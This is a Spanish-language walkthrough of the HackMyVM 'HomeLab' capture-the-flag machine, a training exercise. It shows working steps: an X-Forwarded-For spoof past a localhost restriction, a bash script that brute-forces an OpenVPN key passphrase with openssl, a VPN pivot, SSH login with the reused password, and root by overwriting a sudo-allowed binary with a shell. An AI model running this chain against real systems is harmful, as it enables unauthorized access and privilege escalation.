cd ~/blog

~/writeups/hmv/014-homelab.md

014 - HomeLab

medium Linux hmv 09-11-2025
X-Forwarded-For access bypassOpenVPN key passphrase brute forceVPN network pivotsudo binary replacement Privesc
hackmyvm.eu/machines/machine.php?vm=HomeLab

~1 min de lectura


Enumeración

Identificamos la IP de la máquina víctima:

 arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
10.207.245.123

Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.207.245.123
[sudo] contraseña para wh01s17:
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-09 13:56 -0300
Nmap scan report for 10.207.245.123
Host is up (0.00021s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:00:46:06 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds
 nmap -sCV -p 80 -oN 02-targeted.txt 10.207.245.123
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-09 13:56 -0300
Nmap scan report for 10.207.245.123
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Unix))
| http-methods:
|_  Potentially risky methods: TRACE
|_http-favicon: Apache on Mac OS X
|_http-server-header: Apache/2.4.62 (Unix)
|_http-title: Mac OS X Server

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds

Enumeramos directorios:

 gobuster dir -u 'http://10.207.245.123' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,gif,bak,pub -r
...
index.html           (Status: 200) [Size: 5435]
service              (Status: 200) [Size: 59]
style                (Status: 403) [Size: 277]
script               (Status: 403) [Size: 277]
error.html           (Status: 200) [Size: 3752]
server-status        (Status: 403) [Size: 277]
poweredbymacosxserver.gif (Status: 200) [Size: 1278]
...

Bypass de acceso con X-Forwarded-For

Intentamos entrar a /service, pero nos rechaza:

Whoa! But sorry, this service is only available for myself!

El recurso parece restringido a peticiones que provengan de la propia máquina. Lo sorteamos con X-Forwarded-For header spoofing, falsificando la IP de origen. La petición original era:

GET /service/ HTTP/1.1
Host: 10.207.245.123
Cache-Control: max-age=0
Accept-Language: es-419,es;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Agregamos la cabecera X-Forwarded-For apuntando a la propia IP de la máquina:

GET /service/ HTTP/1.1
Host: 10.207.245.123
X-Forwarded-For: 10.207.245.123
Cache-Control: max-age=0
...

Tenemos éxito y recibimos la siguiente respuesta:

HTTP/1.1 200 OK
Date: Sun, 09 Nov 2025 17:26:06 GMT
Server: Apache/2.4.62 (Unix)
X-Powered-By: PHP/8.4.5
Content-Length: 326
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# Last modified by shinosawa
# on 2024-12-21

# Example Configuration File

client
dev tun
proto udp
remote ? ?
resolv-retry infinite
nobind
persist-key
persist-tun
ca ?
cert ?
# Regenerate a STRONG password for the KEY
# Do NOT use a SAME password as other services et. SSH
# it is DANGEROUS!
key ?
cipher AES-256-GCM
verb 3

La salida corresponde a una plantilla de configuración .ovpn y, además, nos revela el usuario shinosawa.

Descarga de certificados OpenVPN

Enumeramos /service reutilizando la misma cabecera para descargar los certificados:

 gobuster dir -u 'http://10.207.245.123/service' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,gif,bak,pub,js,crt,key -r -H 'X-Forwarded-For: 10.207.245.123'
...
index.php            (Status: 200) [Size: 326]
ca.crt               (Status: 200) [Size: 1200]
client.key           (Status: 200) [Size: 1862]
client.crt           (Status: 200) [Size: 4492]
vpn.txt              (Status: 403) [Size: 277]
...

Verificamos que el puerto de OpenVPN está abierto (UDP/1194):

 sudo nmap -sU -p 1194 10.207.245.123
[sudo] contraseña para wh01s17:
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-09 16:13 -0300
Nmap scan report for 10.207.245.123
Host is up (0.00038s latency).

PORT     STATE SERVICE
1194/udp open  openvpn
MAC Address: 08:00:27:00:46:06 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

Fuerza bruta del passphrase de la clave

Con la plantilla y los certificados descargados, montamos un .ovpn válido:

 cat pwned.ovpn
client
dev tun
proto udp
remote 10.207.245.123 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert client.crt
key client.key
cipher AES-256-GCM
verb 3

Pero la client.key está cifrada y necesita un passphrase:

 openssl rsa -in client.key -check
Enter pass phrase for client.key:

Creamos un script que prueba cada contraseña de un diccionario contra la clave con openssl:

 cat bruteforce.sh
#!/bin/bash
KEY_FILE="client.key"
DECRYPTED_KEY_FILE="client.decrypted.key"
WORDLIST_FILE="/home/wh01s17/Documents/wordlists/SecLists/Passwords/xato-net-10-million-passwords-100000.txt"

# Verifica que el archivo de wordlist exista
[ -f "$WORDLIST_FILE" ] || {
  echo "Wordlist no encontrada: $WORDLIST_FILE"
  exit 1
}

echo "Iniciando fuerza bruta para '$KEY_FILE' con '$WORDLIST_FILE'..."

# Itera sobre cada línea de la wordlist
while IFS= read -r password; do
  if echo "$password" | openssl pkey -in "$KEY_FILE" -passin stdin -out "$DECRYPTED_KEY_FILE" 2>/dev/null
; then
    echo "ÉXITO! Contraseña: $password"
    exit 0
  fi
done <"$WORDLIST_FILE"

echo "No se encontró la contraseña."
rm -f "$DECRYPTED_KEY_FILE"
exit 1
 ./bruteforce.sh
Iniciando fuerza bruta para 'client.key' con '/home/wh01s17/Documents/wordlists/SecLists/Passwords/xato-net-10-million-passwords-100000.txt'...
ÉXITO! Contraseña: hiro

El script genera además client.decrypted.key (la clave ya descifrada). Editamos el .ovpn para usarla:

 cat pwned.ovpn
client
dev tun
proto udp
remote 10.207.245.123 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert client.crt
key client.decrypted.key
cipher AES-256-GCM
verb 3

Pivote por la VPN

Nos conectamos a la VPN:

 sudo openvpn --config pwned.ovpn

Verificamos las redes accesibles a través del túnel:

 route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         _gateway        0.0.0.0         UG    600    0        0 wlan0
default         _gateway        0.0.0.0         UG    600    0        0 wlan0
10.8.0.0        0.0.0.0         255.255.255.0   U     0      0        0 tun0
10.176.13.0     10.8.0.1        255.255.255.0   UG    0      0        0 tun0
10.207.245.0    0.0.0.0         255.255.255.0   U     600    0        0 wlan0
10.207.245.0    0.0.0.0         255.255.255.0   U     600    0        0 wlan0
_gateway        0.0.0.0         255.255.255.255 UH    600    0        0 wlan0
192.168.36.0    0.0.0.0         255.255.255.0   U     100    0        0 vmnet1
192.168.213.0   0.0.0.0         255.255.255.0   U     100    0        0 vmnet8

A través de tun0 tenemos acceso a las redes 10.8.0.0 y 10.176.13.0. Enumeramos los hosts de 10.176.13.0/24:

 sudo nmap -sn 10.176.13.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-09 16:47 -0300
Nmap scan report for 10.176.13.37
Host is up (0.00093s latency).
Nmap done: 256 IP addresses (1 host up) scanned in 81.55 seconds

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 04-allPorts-vpn 10.176.13.37
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-09 16:49 -0300
Nmap scan report for 10.176.13.37
Host is up (0.0014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.28 seconds

Nos conectamos por SSH como shinosawa, reutilizando la contraseña hiro que encontramos al descifrar la clave:

 ssh shinosawa@10.176.13.37
shinosawa@10.176.13.37's password: hiro

homelab:~$

Obtenemos la primera flag.

Escalada de privilegios (sudo binary replacement)

Revisamos sudo -l:

homelab:~$ sudo -l
Matching Defaults entries for shinosawa on homelab:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for shinosawa:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User shinosawa may run the following commands on homelab:
    (ALL) NOPASSWD: /home/shinosawa/deepseek

Podemos ejecutar /home/shinosawa/deepseek como cualquier usuario y sin contraseña. Como el binario está en nuestro propio home, donde tenemos permisos de escritura, lo reemplazamos por nuestra shell. Hacemos primero un backup del original:

homelab:~$ echo $SHELL
/bin/ash

homelab:~$ mv deepseek deep
homelab:~$ cp deep deepseek

homelab:~$ chmod +w deepseek
homelab:~$ echo ash > deepseek
homelab:~$ sudo /home/shinosawa/deepseek
/home/shinosawa # whoami
root

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados